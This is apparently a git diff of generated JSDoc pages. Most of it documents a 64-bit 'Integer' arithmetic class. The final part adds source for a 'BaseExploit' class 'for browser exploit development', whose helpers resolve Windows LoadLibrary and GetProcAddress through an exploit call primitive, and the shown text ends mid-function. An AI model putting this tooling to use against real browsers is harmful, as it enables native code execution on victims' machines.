new Integer(low, high, unsignedopt)

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Constructs a 64 bit two's-complement integer, given its low and high 32 bit values as *signed* integers. + See the from* functions below for more convenient ways of constructing Integers. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeAttributesDescription
low + + +number + + + + + + + + + + The low (signed) 32 bits of the long
high + + +number + + + + + + + + + + The high (signed) 32 bits of the long
unsigned + + +boolean + + + + + + <optional>
+ + + + + +
Whether unsigned or not, defaults to `false` for signed
+ + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + +

Members

+ + + +

high :number

+ + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ The high 32 bits as a signed value. +
+ + + +
Type:
+
    +
  • + +number + + +
  • +
+ + + + + + + + +

low :number

+ + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ The low 32 bits as a signed value. +
+ + + +
Type:
+
    +
  • + +number + + +
  • +
+ + + + + + + + +

unsigned :boolean

+ + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Whether unsigned or not. +
+ + + +
Type:
+
    +
  • + +boolean + + +
  • +
+ + + + + + + + + + +

Methods

+ + + + + + +

add(addend) → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns the sum of this and the specified Integer. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
addend + + +Integer +| + +number +| + +string + + + + Addend
+ + + + + + + + + + + + + + +
Returns:
+ + +
+ Sum +
+ + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

and(other) → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns the bitwise AND of this Integer and the specified. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
other + + +Integer +| + +number +| + +string + + + + Other Integer
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

comp(other) → {number}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Compares this Integer's value with the specified's. This is an alias of Integer#compare. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
other + + +Integer +| + +number +| + +string + + + + Other value
+ + + + + + + + + + + + + + +
Returns:
+ + +
+ 0 if they are the same, 1 if the this is greater and -1 + if the given one is greater +
+ + + +
+
+ Type +
+
+ +number + + +
+
+ + + + + + + + + +

compare(other) → {number}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Compares this Integer's value with the specified's. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
other + + +Integer +| + +number +| + +string + + + + Other value
+ + + + + + + + + + + + + + +
Returns:
+ + +
+ 0 if they are the same, 1 if the this is greater and -1 + if the given one is greater +
+ + + +
+
+ Type +
+
+ +number + + +
+
+ + + + + + + + + +

div(divisor) → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns this Integer divided by the specified. This is an alias of Integer#divide. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
divisor + + +Integer +| + +number +| + +string + + + + Divisor
+ + + + + + + + + + + + + + +
Returns:
+ + +
+ Quotient +
+ + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

divide(divisor) → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns this Integer divided by the specified. The result is signed if this Integer is signed or + unsigned if this Integer is unsigned. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
divisor + + +Integer +| + +number +| + +string + + + + Divisor
+ + + + + + + + + + + + + + +
Returns:
+ + +
+ Quotient +
+ + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

eq(other) → {boolean}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Tests if this Integer's value equals the specified's. This is an alias of Integer#equals. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
other + + +Integer +| + +number +| + +string + + + + Other value
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + +

equals(other) → {boolean}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Tests if this Integer's value equals the specified's. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
other + + +Integer +| + +number +| + +string + + + + Other value
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + +

getHighBits() → {number}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Gets the high 32 bits as a signed integer. +
+ + + + + + + + + + + + + + + + + + + + + + + +
Returns:
+ + +
+ Signed high bits +
+ + + +
+
+ Type +
+
+ +number + + +
+
+ + + + + + + + + +

getHighBitsUnsigned() → {number}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Gets the high 32 bits as an unsigned integer. +
+ + + + + + + + + + + + + + + + + + + + + + + +
Returns:
+ + +
+ Unsigned high bits +
+ + + +
+
+ Type +
+
+ +number + + +
+
+ + + + + + + + + +

getLowBits() → {number}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Gets the low 32 bits as a signed integer. +
+ + + + + + + + + + + + + + + + + + + + + + + +
Returns:
+ + +
+ Signed low bits +
+ + + +
+
+ Type +
+
+ +number + + +
+
+ + + + + + + + + +

getLowBitsUnsigned() → {number}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Gets the low 32 bits as an unsigned integer. +
+ + + + + + + + + + + + + + + + + + + + + + + +
Returns:
+ + +
+ Unsigned low bits +
+ + + +
+
+ Type +
+
+ +number + + +
+
+ + + + + + + + + +

getNumBitsAbs() → {number}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Gets the number of bits needed to represent the absolute value of this Integer. +
+ + + + + + + + + + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +number + + +
+
+ + + + + + + + + +

greaterThan(other) → {boolean}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Tests if this Integer's value is greater than the specified's. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
other + + +Integer +| + +number +| + +string + + + + Other value
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + +

greaterThanOrEqual(other) → {boolean}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Tests if this Integer's value is greater than or equal the specified's. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
other + + +Integer +| + +number +| + +string + + + + Other value
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + +

gt(other) → {boolean}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Tests if this Integer's value is greater than the specified's. This is an alias of Integer#greaterThan. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
other + + +Integer +| + +number +| + +string + + + + Other value
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + +

gte(other) → {boolean}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Tests if this Integer's value is greater than or equal the specified's. This is an alias of Integer#greaterThanOrEqual. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
other + + +Integer +| + +number +| + +string + + + + Other value
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + +

isEven() → {boolean}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Tests if this Integer's value is even. +
+ + + + + + + + + + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + +

isNegative() → {boolean}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Tests if this Integer's value is negative. +
+ + + + + + + + + + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + +

isOdd() → {boolean}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Tests if this Integer's value is odd. +
+ + + + + + + + + + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + +

isPositive() → {boolean}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Tests if this Integer's value is positive. +
+ + + + + + + + + + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + +

isZero() → {boolean}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Tests if this Integer's value equals zero. +
+ + + + + + + + + + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + +

lessThan(other) → {boolean}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Tests if this Integer's value is less than the specified's. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
other + + +Integer +| + +number +| + +string + + + + Other value
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + +

lessThanOrEqual(other) → {boolean}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Tests if this Integer's value is less than or equal the specified's. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
other + + +Integer +| + +number +| + +string + + + + Other value
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + +

lt(other) → {boolean}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Tests if this Integer's value is less than the specified's. This is an alias of Integer#lessThan. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
other + + +Integer +| + +number +| + +string + + + + Other value
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + +

lte(other) → {boolean}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Tests if this Integer's value is less than or equal the specified's. This is an alias of Integer#lessThanOrEqual. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
other + + +Integer +| + +number +| + +string + + + + Other value
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + +

mod(divisor) → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns this Integer modulo the specified. This is an alias of Integer#modulo. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
divisor + + +Integer +| + +number +| + +string + + + + Divisor
+ + + + + + + + + + + + + + +
Returns:
+ + +
+ Remainder +
+ + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

modulo(divisor) → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns this Integer modulo the specified. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
divisor + + +Integer +| + +number +| + +string + + + + Divisor
+ + + + + + + + + + + + + + +
Returns:
+ + +
+ Remainder +
+ + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

mul(multiplier) → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns the product of this and the specified Integer. This is an alias of Integer#multiply. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
multiplier + + +Integer +| + +number +| + +string + + + + Multiplier
+ + + + + + + + + + + + + + +
Returns:
+ + +
+ Product +
+ + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

multiply(multiplier) → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns the product of this and the specified Integer. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
multiplier + + +Integer +| + +number +| + +string + + + + Multiplier
+ + + + + + + + + + + + + + +
Returns:
+ + +
+ Product +
+ + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

neg() → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Negates this Integer's value. This is an alias of Integer#negate. +
+ + + + + + + + + + + + + + + + + + + + + + + +
Returns:
+ + +
+ Negated Integer +
+ + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

negate() → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Negates this Integer's value. +
+ + + + + + + + + + + + + + + + + + + + + + + +
Returns:
+ + +
+ Negated Integer +
+ + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

neq(other) → {boolean}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Tests if this Integer's value differs from the specified's. This is an alias of Integer#notEquals. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
other + + +Integer +| + +number +| + +string + + + + Other value
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + +

not() → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns the bitwise NOT of this Integer. +
+ + + + + + + + + + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

notEquals(other) → {boolean}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Tests if this Integer's value differs from the specified's. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
other + + +Integer +| + +number +| + +string + + + + Other value
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + +

or(other) → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns the bitwise OR of this Integer and the specified. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
other + + +Integer +| + +number +| + +string + + + + Other Integer
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

shiftLeft(numBits) → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns this Integer with bits shifted to the left by the given amount. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
numBits + + +number +| + +Integer + + + + Number of bits
+ + + + + + + + + + + + + + +
Returns:
+ + +
+ Shifted Integer +
+ + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

shiftRight(numBits) → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns this Integer with bits arithmetically shifted to the right by the given amount. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
numBits + + +number +| + +Integer + + + + Number of bits
+ + + + + + + + + + + + + + +
Returns:
+ + +
+ Shifted Integer +
+ + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

shiftRightUnsigned(numBits) → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns this Integer with bits logically shifted to the right by the given amount. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
numBits + + +number +| + +Integer + + + + Number of bits
+ + + + + + + + + + + + + + +
Returns:
+ + +
+ Shifted Integer +
+ + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

shl(numBits) → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns this Integer with bits shifted to the left by the given amount. This is an alias of Integer#shiftLeft. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
numBits + + +number +| + +Integer + + + + Number of bits
+ + + + + + + + + + + + + + +
Returns:
+ + +
+ Shifted Integer +
+ + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

shr(numBits) → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns this Integer with bits arithmetically shifted to the right by the given amount. This is an alias of Integer#shiftRight. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
numBits + + +number +| + +Integer + + + + Number of bits
+ + + + + + + + + + + + + + +
Returns:
+ + +
+ Shifted Integer +
+ + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

shru(numBits) → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns this Integer with bits logically shifted to the right by the given amount. This is an alias of Integer#shiftRightUnsigned. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
numBits + + +number +| + +Integer + + + + Number of bits
+ + + + + + + + + + + + + + +
Returns:
+ + +
+ Shifted Integer +
+ + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

sub(subtrahend) → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns the difference of this and the specified Integer. This is an alias of Integer#subtract. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
subtrahend + + +Integer +| + +number +| + +string + + + + Subtrahend
+ + + + + + + + + + + + + + +
Returns:
+ + +
+ Difference +
+ + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

subtract(subtrahend) → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns the difference of this and the specified Integer. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
subtrahend + + +Integer +| + +number +| + +string + + + + Subtrahend
+ + + + + + + + + + + + + + +
Returns:
+ + +
+ Difference +
+ + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

toBytes(leopt) → (non-null) {Array.<number>}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Converts this Integer to its byte representation. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeAttributesDescription
le + + +boolean + + + + + + <optional>
+ + + + + +
Whether little or big endian, defaults to big endian
+ + + + + + + + + + + + + + +
Returns:
+ + +
+ Byte representation +
+ + + +
+
+ Type +
+
+ +Array.<number> + + +
+
+ + + + + + + + + +

toBytesBE() → (non-null) {Array.<number>}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Converts this Integer to its big endian byte representation. +
+ + + + + + + + + + + + + + + + + + + + + + + +
Returns:
+ + +
+ Big endian byte representation +
+ + + +
+
+ Type +
+
+ +Array.<number> + + +
+
+ + + + + + + + + +

toBytesLE() → (non-null) {Array.<number>}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Converts this Integer to its little endian byte representation. +
+ + + + + + + + + + + + + + + + + + + + + + + +
Returns:
+ + +
+ Little endian byte representation +
+ + + +
+
+ Type +
+
+ +Array.<number> + + +
+
+ + + + + + + + + +

toInt() → {number}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Converts the Integer to a 32 bit integer, assuming it is a 32 bit integer. +
+ + + + + + + + + + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +number + + +
+
+ + + + + + + + + +

toNumber() → {number}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Converts the Integer to a the nearest floating-point representation of this value (double, 53 bit mantissa). +
+ + + + + + + + + + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +number + + +
+
+ + + + + + + + + +

toSigned() → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Converts this Integer to signed. +
+ + + + + + + + + + + + + + + + + + + + + + + +
Returns:
+ + +
+ Signed long +
+ + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

toString(radixopt) → {string}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Converts the Integer to a string written in the specified radix. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeAttributesDescription
radix + + +number + + + + + + <optional>
+ + + + + +
Radix (2-36), defaults to 10
+ + + + + + + + + + + + +
Throws:
+ + + +
+
+
+ If `radix` is out of range +
+
+
+
+
+
+ Type +
+
+ +RangeError + + +
+
+
+
+
+ + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +string + + +
+
+ + + + + + + + + +

toUnsigned() → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Converts this Integer to unsigned. +
+ + + + + + + + + + + + + + + + + + + + + + + +
Returns:
+ + +
+ Unsigned long +
+ + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

xor(other) → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns the bitwise XOR of this Integer and the given one. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
other + + +Integer +| + +number +| + +string + + + + Other Integer
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + + +
+ +
+ + + + +
+ +
+ +
+ Documentation generated by JSDoc 3.5.5 on Thu Nov 09 2017 10:55:27 GMT+0900 (KST) using the docdash theme. +
+ + + + + \ No newline at end of file diff --git a/docs/baseexploit.js.html b/docs/baseexploit.js.html new file mode 100644 index 0000000..c3a9320 --- /dev/null +++ b/docs/baseexploit.js.html @@ -0,0 +1,764 @@ + + + + + baseexploit.js - Documentation + + + + + + + + + + + + + + + + +
+ +

baseexploit.js

+ + + + + + + +
+
+
import Integer from "integer";
+
+/**
+ * Constructs a base exploit that provides useful data types and utility functions.
+ *
+ * @class A base exploit class for browser exploit development.
+ * @param {number} bitness The bitness of the target process.
+ * @constructor
+ */
+function BaseExploit(bitness) {
+    // in bytes
+    var DEFAULT_ALIGNMENT = bitness / 8;
+    var POINTER_SIZE = bitness / 8;
+
+    var libraries = {};
+    var strings = [];
+    var exploit = this;
+
+    function cString(s) {
+        var ss = '';
+        for (var i = 0; i < s.length / 2 + 2; i++) {
+            ss += String.fromCharCode((s.charCodeAt(i*2)|0) + ((s.charCodeAt(i*2+1)|0) << 8));
+        }
+        return wString(ss);
+    }
+
+    function wString(s) {
+        strings.push(s);
+        parseInt(s);
+        return exploit.addressOfString(s);
+    }
+
+    function getProcAddress(library, procName) {
+        var addr = exploit.call(toIntMax(exploit.GetProcAddress), toIntMax(library), toIntMax(cString(procName)));
+        if (addr == 0) {
+            throw 'missing import ' + procName;
+        }
+        return addr;
+    }
+
+    function loadLibrary(dllName) {
+        if (exploit.LoadLibraryA !== undefined) {
+            return exploit.call(toIntMax(exploit.LoadLibraryA), toIntMax(cString(dllName)));
+        } else if (exploit.LoadLibraryW !== undefined) {
+            return exploit.call(toIntMax(exploit.LoadLibraryW), toIntMax(wString(dllName)));
+        } else if (exploit.LoadLibraryExA !== undefined) {
+            return exploit.call(toIntMax(exploit.LoadLibraryExA), toIntMax(cString(dllName)), toIntMax(0), toIntMax(0));
+        } else if (exploit.LoadLibraryExW !== undefined) {
+            return exploit.call(toIntMax(exploit.LoadLibraryExW), toIntMax(wString(dllName)), toIntMax(0), toIntMax(0));
+        } else {
+            throw 'missing load library address';
+        }
+    }
+
+    /**
+     * Loads a DLL (if not loaded already) and finds the given export.
+     * @instance
+     * @memberof BaseExploit
+     * @param {string} dllName The name of DLL to find the function from.
+     * @param {string} funcName The name of function to import.
+     * @param {Type} returnType The type of the function return.
+     * @returns {function}
+     */
+    function importFunction(dllName, funcName, returnType) {
+        returnType = returnType || null;
+        if (libraries[dllName] === undefined) {
+            libraries[dllName] = loadLibrary(dllName);
+        }
